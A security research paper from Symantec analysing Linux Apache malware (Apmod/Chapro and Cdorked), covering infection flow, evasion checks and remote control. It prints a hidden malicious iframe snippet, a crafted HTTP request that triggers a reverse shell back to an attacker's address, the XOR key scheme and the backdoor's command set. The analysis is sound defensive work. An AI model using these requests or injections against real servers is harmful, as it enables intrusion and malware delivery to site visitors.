LINUX-BASED APACHE MALWARE INFECTIONS: BITING THE HAND THAT SERVES US ALL

Cathal Mullaney
Symantec, Ireland

Sayali Kulkarni
Symantec, India

Email {cathal_mullaney, sayali_kulkarni1}@symantec.com

ABSTRACT

In May 2011, we investigated a persistent malware infection specific to a *Linux* installation of the *Apache* web server. The infection was unique in that it used *Apache*'s own APIs as a means to attack and infect unsuspecting clients. This attack vector was unusual as it did not target static web pages with an iframe or JavaScript injection. Instead, every web page served to a client's browser was dynamically modified to contain malicious content. By leveraging the *Apache* module APIs and *Apache* filtering framework, attackers were capable of serving malware to thousands of targeted users. Originally classified as Trojan.Apmod, the malware re-emerged in 2012 as Linux.Chapro and was ultimately identified as a component of the Darkleech exploit kit. During the past year, tens of thousands of active infections have been identified, ranging from private businesses to educational institutions and the web servers of prominent security vendors. What first appeared to be a targeted attack has since been identified as one of a growing number of *Linux* malware infections. These infections, targeting *Linux* installations of the *Apache* web server, have proven to be a perfect vector for serving malware on a global scale.

This paper will demonstrate that targeting *Linux*-based *Apache* web servers is an active and extremely effective method of malware infection. We present an overview of *Linux* malware and a technical analysis of two *Apache*-based infections, Trojan.Apmod and Linux.Chapro. We discuss common infection vectors for *Linux* servers, the payload infection chain, and final payloads distributed to clients.

A targeted *Linux* malware infection, aimed at one of the most popular web servers in the world, allows malware authors to bite the hand that serves us all.

1. INTRODUCTION

The *Linux* operating system has been growing in popularity since the first kernel release in 1991. An open-source operating system, it has grown from a part-time project to now running on 482 of the top 500 most powerful, commercially available computer systems (super computers) [1]. Coupled with free software bundles, such as the GNU Project, *Linux* is rapidly becoming the operating system of choice for website servers.

An increasingly ubiquitous solution stack is the LAMP software bundle. LAMP stands for *Linux*, *Apache*, *MySQL* (or another database solution) and a scripting language such as PHP, Python, Perl etc. This software bundle allows for a dynamic, reliable and scalable website infrastructure to be deployed quickly with an absolute minimum of cost. The key component in this solution is the *Apache* HTTP server. The *Apache* web server, much like the *Linux* kernel, has grown from a small project to the dominant web server on the Internet today. While its market share is beginning to be challenged by its competitors, it remains the most popular web server currently in widespread use [2].

Given the widespread distribution of the *Linux* operating system, coupled with the pervasive deployment of the *Apache* web server, it was only a matter of time before *Apache* became a target for malware authors. There are countless malware families that will infect static web pages, but threats that actively target a web server are relatively rare. When a web server is infected, every user that requests a web page from the server is a potential victim. In cases where static web pages have been infected, only users who navigate to those specific pages are at risk.

A malware infection targeting the most popular web server in use today allows for an almost unparalleled malware distribution vector. Included in this paper are the technical details for two persistent *Apache* web server infections that have been operating in the wild for a number of years. We detail common server-side infection vectors, the infections themselves, an analysis of the malicious payloads ultimately distributed to clients, and the payload infection chain. We also include a detailed analysis of malicious source code gathered from a forensic investigation of a live *Apache* infection. We also present an analysis of the growing trend of *Apache*-specific infections.

2. APACHE MODULE INFRASTRUCTURE

The *Apache* HTTP server has a wide range of features and support for a number of server-side programming languages. This is mostly implemented in the form of plug-ins or compiled modules. These modules are written using the *Apache* module API and allow developers to extend the base functionality of the web server with new features [3]. This programming interface allows developers to extend the web server without modifying or recompiling its code base. For instance, support for the scripting language PHP is provided by way of a compiled module, mod_php.

Another extremely powerful means of extending *Apache*'s core functionality is the filtering framework provided through the *Apache* module, mod_filter. This module 'enables applications to process incoming and outgoing data in a highly flexible and configurable manner, regardless of where the data comes from. We can pre-process incoming data, and post-process outgoing data, at will. This is basically independent of the traditional request processing phases' [4]. This filtering API allows programmers to inspect and alter data that is sent to and from the web server.

A hosting company that includes advertisements in its clients' web pages can make use of this type of output filtering. A client may create a website on a web server. When a web page is requested, the output filter automatically embeds an

advertisement into the served page. In this way, the web server is inspecting and modifying outgoing data dynamically in order to add advertisements to its clients' web pages.

3. TROJAN.APMOD

In May 2011 [5], we were informed of a malware infection that leveraged this module/filtering framework to infect the *Apache* HTTP server. The rogue module and associated source code was presented to us for analysis as the result of a forensic investigation into a compromised server. The *Apache* infection used identical steps to the use case presented in Section 2. The ultimate goal of the malware was to inject an iframe containing links to malicious websites in response to legitimate web page requests. All of the actions performed by the rogue module were done using legitimate code provided as part of the *Apache* module and filtering framework. These APIs are provided specifically for this type of dynamic content generation. The methods used were not an exploit or hack of the *Apache* HTTP server; the authors used *Apache*'s inherent functionality to attempt to redirect legitimate end-users to malicious websites.

As we investigated the compiled module and the associated source code, we concluded that the module was highly configurable and even included a debug mode. In the sample recovered during the forensic investigation, the module logged its output to a file in /var/tmp. During our analysis, we concluded that the module did not infect web pages blindly, but rather contained a number of checks for user-agents, IPs and administrator processes. This was done in order to hinder detection and to allow the module to remain on the infected server for as long as possible.

A typical execution of the module involves the following steps:

1. A user connects to the compromised web server running the rogue module and requests a web page.
2. The rogue module checks the type of content requested by the user.
3. Once an HTML web page has been requested, the rogue module begins its infection process.
4. The rogue module performs a number of anti-detection checks, including:
    a. Checks for the presence of an admin user or process.
    b. Checks for a number of blacklisted browser user-agents.
    c. Checks for bad IP address ranges (known search engine IP address ranges – this prevents the rogue module serving infected pages to search engines, avoiding potential page blocking).
    d. Checks for banned IP addresses.
    e. Checks for the presence of a root or a user running sudo (using /var/run/utmp).
    f. Checks for the presence of processes likely to detect the infection (tcpdump, rkhunter).
5. Once the anti-detection checks have passed successfully, the rogue module creates a new session for the target browser, but does not infect it right away.
6. Only on a subsequent request for a web page will the infection execute.
7. The rogue module will then query an external command-and-control (C&C) server for a new iframe tag.
8. Once an active iframe tag has been returned, it is inserted into the requested web page and served to the user.
9. The user's IP address is added to a temporary ban list to prevent multiple infections and further hamper detection.

The injected iframe tag has a format similar to the following:

```
<style>
.nhie96r8 {
position:absolute;
left:-1140px;
top:-1003px
}
</style>
<div class="nhie96r8">
<iframe src= "[http://]malframeserver.cz.cc/myi986px/
count[REMOVED]">
</iframe>
</div>
```

We then enabled the debug output mode of the *Apache* module provided by the malware author. The module begins by running the mentioned IP address and user-agent checks:

1. `192.168.1.1 ---------- Starting, IP = 192.168.1.1, r->the_request = GET /HTTP/1.1`
2. `192.168.1.1 Check blacklist IP=192.168.1.1, filename=/var/tmp/sess_f528764d624db129b32c21fbca0cb8d6 - file absent, OK`
3. `192.168.1.1 Check temp banlist IP=192.168.1.1, filename=/var/tmp/sess_f83c9c7e5bd2f2834893da8a5f03b58b - file absent, OK`
4. `192.168.1.1 Begin check User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16) Gecko/20110323 Ubuntu/10.04 (lucid) Firefox/3.6.16`

Once the IP address and user-agent checks pass, the module is ready to start serving malware on subsequent requests. The malware will wait for a new request from a previously logged IP address from the first stage of the protocol, add that IP address to the temporary ban list, and contact the C&C server.

1. `192.168.1.1 Loading session: IP = 192.168.1.1, SessFilename = /var/tmp/sess_499b95eea599df1950b335b8b4e3ea8b, mode.modetype = 2, mode.key = 1107430144, mode.time = 1303461948, ClientKey = 1107430144`
2. `192.168.1.1 Check temp banlist IP=192.168.1.1, filename=/var/tmp/sess_f83c9c7e5bd2f2834893da8a5f03b58b - file absent, OK`
3. `192.168.1.1 Adding to temp banlist`
4. `192.168.1.1 hostname:cnc.com, servname:(null), port:80, family:2`
5. `Sending tds-request = GET /t/?sid=a-host.com HTTP/1.1`

During our initial testing, we determined that the malicious iframe was meant to redirect the victim's browser to an exploit landing page. The exploit would then attempt to infect the

victim's computer and allow the installation of further malware. As the module contained a number of checks to hinder detection, it is possible that a web server could remain infected for an extended period of time. This was further complicated by the dynamic nature of the infection. As no static HTML files were infected, detections of infected HTML files stored on disk were not feasible. The module also blacklisted a large number of search engine user-agents and IP address ranges to prevent the serving of infected pages to search engine crawlers. This was done to extend the life of the infection and prevent automated detection of infected servers.

During our initial investigation we had concluded that this was a one-off targeted attack against a specific web server. We acknowledged that the module was highly configurable and had the potential to be deployed on a larger scale, but our initial investigations suggested it was not widely deployed.

4. LINUX.CHAPRO

Some months after the publication of our original research, we were contacted unexpectedly by a university system administrator who suggested the university's web servers were infected by Trojan.Apmod. While working with the system administrator to clean the infected servers, we were provided with a module sample which we confirmed to be Apmod. The configuration of the module was startlingly similar to the original sample upon which we had based our initial publication. We concluded that the module itself must have been part of a bigger overall exploit package and more widespread than we originally thought.

In December 2012, we were asked to investigate samples relating to a blog post published by *ESET* [6]. On investigation of these samples, and after reading the associated write-up, we confirmed that Apmod had re-emerged and had been renamed to Linux.Chapro. We subsequently undertook a reinvestigation of Apmod/Chapro. During the course of the investigation we concluded that the rogue module was actually a component of the Darkleech exploit kit. We further discovered that the Darkleech exploit kit was available for sale on a number of underground malware forums.

Reports of Darkleech advertisements began to emerge in 2012. The advertising campaign included an overview of the rogue module's functionality and capabilities. Interestingly, the author even included links to our original writeup of the rogue malware, which he described as part of his 'client reviews'. The advertisement went on to describe the building and installation process for the rogue module and gave a hefty price tag of US$1,000. The author also included a number of download/infection statistics describing the overall efficacy of his module. The most interesting part was that the author described the module as having been in private use for two years before the date of the advertisement, and that it was currently on its 14th version.

Seeing the description of 14 different versions of the module, we decided to investigate its evolution over time. We began with our initial investigation, through to its rebranding as Chapro, to the most recent variants that have been observed in the wild, with a 2013 version stamp.

As we investigated more samples of the Apmod malware we began to notice a slight evolution in the samples we were coming across. Most strings in the compiled modules are encrypted by a simple XOR function using a static key of varying length among samples. In the newer samples, we began to see the addition of a version string in the compiled module. The version string consisted of a 10-byte string identifying the release date of the module version. This module version string allows the malware author to track versions of his software and push updates of the malware source code, and builder, to his customers.

5. LINUX.CDORKED

In April 2013, a new *Apache* malware infection began to emerge. This infection, identified as Linux.Cdorked [7], used a different attack vector from Apmod. Whereas Apmod infected the *Apache* web server by adding a malicious module to the server's configuration file, Cdorked used a more archaic form of infection. In a throwback to the original definition of the term 'rootkit', this infection replaced the *Apache* server's primary binary file, httpd. We again determined that the ultimate goal of this infection was to allow the patched version of httpd to serve unsuspecting users links to malicious websites. As before, the malicious activity and redirection was in response to web page requests from legitimate users.

While Cdorked's patched version of the httpd binary is quite a different infection from Apmod, it shares a number of surprising similarities. Cdorked infections operate in a similar fashion to Apmod in that no static HTML files are modified on disk. Much like the stealthy Apmod infections, malicious links are inserted into HTML files in response to legitimate requests. However, Cdorked takes its stealth tactics to new heights by ensuring no configuration files are stored on disk. Instead, Cdorked stores all of its configuration information in a shared memory segment which is then operated on by the modified httpd binary.

The patched httpd binary uses a large block of shared memory to store its configuration. This shared memory block stores a number of encrypted values that are used as part of the infected server's configuration. These configuration parameters are encrypted in the shared memory segment in an attempt to hide the server infection. This shared memory segment can easily be spotted by running the command 'ipcs -m' on an infected server:

```
ipcs -m
------ Shared Memory Segments ------
key shmid owner perms bytes nattch
0x00003113 655364 apache 600 6535280 1
```

The shared memory segment is also highly configurable by a remote user. A number of remote commands accepted by the infected *Apache* instance allow for the modification of this shared configuration memory segment. Using remote commands, encoded in HTTP request headers, a remote user can update this configuration using an HTTP POST request. In this way attackers can read the infection's current status and tune configurations remotely. The Cdorked infection also prevents the remote command strings from being recorded in the *Apache* log files. These log files are often the first stop for an administrator who is trying to investigate a server they suspect of being

misconfigured or infected. By ensuring the command strings are not logged by the infected *Apache* server, the malware authors make diagnosing a Cdorked infection more difficult, and ensure that the infection will persist as long as possible.

While Cdorked's ultimate payload was similar to Apmod's end goal, the two infections differed in a number of key respects. One of Cdorked's most notable capabilities was that it also functioned as a backdoor to the compromised web server. This was an interesting departure from the type of infections we had previously seen. While backdoors are quite common in *Windows* malware, and not uncommon in *Linux* malware, this was a relatively unique case of the *Apache* web server being leveraged in this way. The Cdorked infection was capable of responding to remote commands from an attacker and also of opening a remote shell, or backdoor, in response to a particular command string. A reverse shell is a connection from the infected web server back to a computer of the attacker's choosing. Once this connection is made, the attacker is granted a large amount of control on the infected machine. This also means that if the original access point is patched or closed, the attacker retains access to the infected computer.

While a typical HTTP request may have the following format:

```
GET /a_uri.html HTTP/1.1
Host: a.clean.host
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://a.normal.referer
Connection: keep-alive
```

Cdorked was capable of parsing and responding to custom commands encoded into HTTP request headers. This was also how the backdoor and reverse shell was triggered on the infected server. In order for a remote attacker to trigger a reverse shell, a request of the following format could be sent to the infected server:

```
GET /favicon.iso?4745545f4241434b3b3132372e302e302e313
b31323334 HTTP/1.1
Host: an.infected.host
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://a.normal.referer
X-Real-IP: 123.321.123.321
```

On receipt of this request, the infected httpd binary parses the X-Forwarded-For or X-Real-IP HTTP header for an IP address (though, as in the example above, not necessarily a valid one). This IP address is then parsed and used as a decryption key for the crafted GET request parameters. The IP address is decoded as follows:

- `First octet + 0x5 + second octet + 0x21 + third octet + 0x37 + fourth octet + 0x4E`

In the example given above, the XOR encryption has been omitted for the sake of clarity. All calls to the infected web server are presented in hex-encoded plain text only.

- `GET /favicon.iso?4745545f4241434b3b3132372e302e302e313b31323334`

Once the decryption key has been parsed, it is then used to XOR the HTTP Get request string arguments. After the decryption

```
.text:000000000043A85D 018 48 89 05 3C C5 2F 00          mov     cs:bin_sh, rax
.text:000000000043A864 018 48 8D 05 32 9C 2F 00          lea     rax, aUddZii    ; "GET_BACK"
.text:000000000043A86B 018 48 89 05 36 C5 2F 00          mov     cs:GET_BACK, rax
.text:000000000043A872 018 48 8D 05 2D 9C 2F 00          lea     rax, aT         ; "DU"
.text:000000000043A879 018 48 89 05 30 C5 2F 00          mov     cs:DU, rax
.text:000000000043A880 018 48 8D 05 22 9C 2F 00          lea     rax, aU_0       ; "ST"
.text:000000000043A887 018 48 89 05 2A C5 2F 00          mov     cs:ST, rax
.text:000000000043A88E 018 48 8D 05 17 9C 2F 00          lea     rax, aT1        ; "T1"
.text:000000000043A895 018 48 89 05 24 C5 2F 00          mov     cs:T1, rax
.text:000000000043A89C 018 48 8D 05 0C 9C 2F 00          lea     rax, aL1        ; "L1"
.text:000000000043A8A3 018 48 89 05 1E C5 2F 00          mov     cs:L1, rax
.text:000000000043A8AA 018 48 8D 05 01 9C 2F 00          lea     rax, aD1        ; "D1"
.text:000000000043A8B1 018 48 89 05 18 C5 2F 00          mov     cs:D1, rax
.text:000000000043A8B8 018 48 8D 05 F6 9B 2F 00          lea     rax, aL2        ; "L2"
.text:000000000043A8BF 018 48 89 05 12 C5 2F 00          mov     cs:L2, rax
.text:000000000043A8C6 018 48 8D 05 EB 9B 2F 00          lea     rax, aD2        ; "D2"
.text:000000000043A8CD 018 48 89 05 0C C5 2F 00          mov     cs:D2, rax
.text:000000000043A8D4 018 48 8D 05 E0 9B 2F 00          lea     rax, aL3        ; "L3"
.text:000000000043A8DB 018 48 89 05 06 C5 2F 00          mov     cs:L3, rax
.text:000000000043A8E2 018 48 8D 05 D5 9B 2F 00          lea     rax, aD3        ; "D3"
.text:000000000043A8E9 018 48 89 05 00 C5 2F 00          mov     cs:D3, rax
.text:000000000043A8F0 018 48 8D 05 CA 9B 2F 00          lea     rax, aL4        ; "L4"
.text:000000000043A8F7 018 48 89 05 FA C4 2F 00          mov     cs:L4, rax
.text:000000000043A8FE 018 48 8D 05 BF 9B 2F 00          lea     rax, aD4        ; "D4"
.text:000000000043A905 018 48 89 05 F4 C4 2F 00          mov     cs:D4, rax
.text:000000000043A90C 018 48 8D 05 B4 9B 2F 00          lea     rax, aL5        ; "L5"
.text:000000000043A913 018 48 89 05 EE C4 2F 00          mov     cs:L5, rax
.text:000000000043A91A 018 48 8D 05 A9 9B 2F 00          lea     rax, aD5        ; "D5"
.text:000000000043A921 018 48 89 05 E8 C4 2F 00          mov     cs:D5, rax
.text:000000000043A928 018 48 8D 05 9E 9B 2F 00          lea     rax, aL6        ; "L6"
.text:000000000043A92F 018 48 89 05 E2 C4 2F 00          mov     cs:L6, rax
.text:000000000043A936 018 48 8D 05 93 9B 2F 00          lea     rax, aD6        ; "D6"
.text:000000000043A93D 018 48 89 05 DC C4 2F 00          mov     cs:D6, rax
.text:000000000043A944 018 48 8D 05 88 9B 2F 00          lea     rax, aL7        ; "L7"
.text:000000000043A94B 018 48 89 05 D6 C4 2F 00          mov     cs:L7, rax
```

Figure 1: Cdorked decrypted commands.

occurs, we are left with the following values (decoded from hexadecimal to plain text):

- `GET /favidon.iso?GET_BACK;127.0.0.1;1234`

This command is used to spawn a reverse shell from the infected server and connect back to the specified IP address at the specified port number.

The infected httpd binary is also configurable by way of commands encoded in HTTP post request headers. Cdorked can potentially recognize up to 23 configuration command strings. These commands are generally used to write or delete values from the infection's configuration stored in the allocated shared memory segment. A configuration command request is triggered by sending a post request to a URL with a predetermined structure. Command URL string formats differ from sample to sample, but generally consist of three specific characters at predetermined offsets in the URL. As before, the IP address set in the X-Forwarded-For or X-Real-IP is used as an XOR decryption key for the embedded commands.

```
POST /abcdepfgmijklmno?5354 HTTP/1.1
Host: an.infected.host
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://a.normal.referer
X-Real-IP: 123.321.123.321
Cookie: SECID=
```

In this case, the encrypted commands are only processed if the requested URL matches the mentioned pattern and a secid cookie is present in the request. Once the request is accepted by the infected server, the command is decrypted and checked against the list of commands supported by the infected server:

DU	D5
ST	L6
T1	D6
L1	L7
D1	D7
L2	L8
D2	D8
L3	L9
D3	D9
L4	LA
D4	DA
L5	

These commands allow a malicious user to fully configure the infection remotely. The accepted commands allow the storage and deletion of: a number of blacklists (user-agent, referrers), the list of infected users, and the configuration of redirection IP addresses that are ultimately served to the targeted end-users. The Cdorked infection then responds to these commands by setting the ETAG header with the server's response as follows:

```
HTTP/1.1 302 Found
Date: Mon, 02 Jun 2014 18:40:06 GMT
Server: Apache/2.2.26 (Unix)
Location: http://google.com/
ETag: 11111-11111-11111; 00-0-0-1-0-1-0-0-0-0-0-0-0-0
Content-Length: 202
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://google.
com/">here</a>.</p>
</body></html>
```

While a Cdorked infection allows a large amount of control over the infected server, the ultimate goal of the malware is to serve malicious links to unsuspecting users. Interestingly, Cdorked uses many of the same stealth tactics as Apmod in order to remain undetected as long as possible. Before serving an infected HTML page, the server executes a number of checks. During a typical execution of an infected *Apache* web server, the following steps occur:

1. On connection from a legitimate user, the infected server first checks for the presence of the HTTP header: Accept-Language.
2. If this header exists, the associated value is checked against a blacklist of Accept-Language values.
3. The server checks for the presence of the HTTP header: Accept-Encoding.
4. The infected server will then check for the presence of the HTTP Referer header.
5. The referrer's structure is subsequently checked and matched against a blacklist. This check ensures a one-off connection from a client will not be served a malicious web page. This also allows the malware authors to control what end-user is served malicious redirects.
6. The Cdorked server will then inspect the request type for the following range of values:
   - html
   - htm
   - php
   - php4
   - cgi
   - shtml
   - shtm
   - js
7. The client's IP address is checked against a number of IP address blacklists.
8. The client's user-agent is also matched against an HTTP user-agent blacklist and against a user-agent whitelist. The client's user-agent must appear in this whitelist or the malicious content is not served to the client.

Once all the checks have been passed, the modified httpd binary attempts to serve a redirect page to the legitimate user. The server reads this redirect URL from the shared memory segment. The modified server binary does not contain any predefined malicious URLs so they must be set explicitly by a malware operator (controlled through the two-character commands mentioned earlier). The stored URL must conform to a specific format or the server will not attempt to serve the client with malicious content.

CONCLUSION

With a huge amount of critical infrastructure running on the *Linux* platform, malware authors are presented with enticing opportunities. Coupled with the relaxed attitude taken by most system administrators to the potential of malware infection, *Linux* server infections represent an extremely effective method of virus infection and distribution. A targeted *Linux Apache* server infection ensures a large number of user infections that are also potentially linked by way of geographical location or interest in specific resources and services. Depending on the nature of the infected server's operations, a malware author may be able to leverage large amounts of data on potential end-user infections.

The continued proliferation of frameworks, front-ends, and web panels, which may remain vulnerable for weeks if not months after exploits are disclosed, only serves to exacerbate the problem. The lax policies of deploying security updates to user-accessible services will ensure *Linux* servers remain a viable target for infection. On top of this, even the most security-conscious system administrator is still open to attack from the constant threat of zero-day exploits. The recent Heartbleed exploit, while not limited to *Linux* computers, left a huge number of systems vulnerable to exploitation and infection. This type of large-scale vulnerability serves to illustrate the need for constant diligence when maintaining server security. The fallacious argument that '*Linux* computers can't get viruses' further frustrates efforts to ensure the security of critical infrastructure.

While Trojan.Apmod and Linux.Cdorked may be relatively unique in their operation and viability, they should serve as an indicator of *Linux* systems' vulnerability. Given the increasing number of websites that are hosted on *Linux* computers running the *Apache* web server, and with no anti-virus solution in place, the question becomes: 'Why wouldn't malware authors target *Linux* aggressively?' The pervasive idea that *Linux* systems are immune to viral infection is rapidly becoming a type of argumentum ad populum. As more malware authors recognize the ubiquitous nature of the LAMP infrastructure, coupled with the misconception that *Linux* is inherently secure, we can be confident that malware authors will continue to bite the hand that serves us all.

REFERENCES

[1] Meuer, H. W.; Strohmaier, E.; Dongarra, J.; Simon, H. Top500 Statistics. November 2013. http://www.top500.org/statistics/.

[2] Netcraft Web Server Survey. March 2014. http://news.netcraft.com/archives/category/web-server-survey/.

[3] Apache Software Foundation. Apache HTTP Server Modules. April 2014. https://modules.apache.org/.

[4] Apache Software Foundation. Filters – Apache HTTP Server. April 2014. http://httpd.apache.org/docs/2.2/filter.html.

[5] Mullaney, C. Extending Apache to Serve Malware. May 2011. http://www.symantec.com/connect/blogs/extending-apache-serve-malware-0.

[6] Bureau, P.-M. Malicious Apache module Used for Content Injection: Linux/Chapro.A. December 2012. http://www.welivesecurity.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a/.

[7] Bureau, P.-M. Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. April 2013. http://blog.eset.ie/2013/04/29/linuxcdorked-a-new-apache-backdoor-being-used-in-the-wild-to-serve-blackhole/.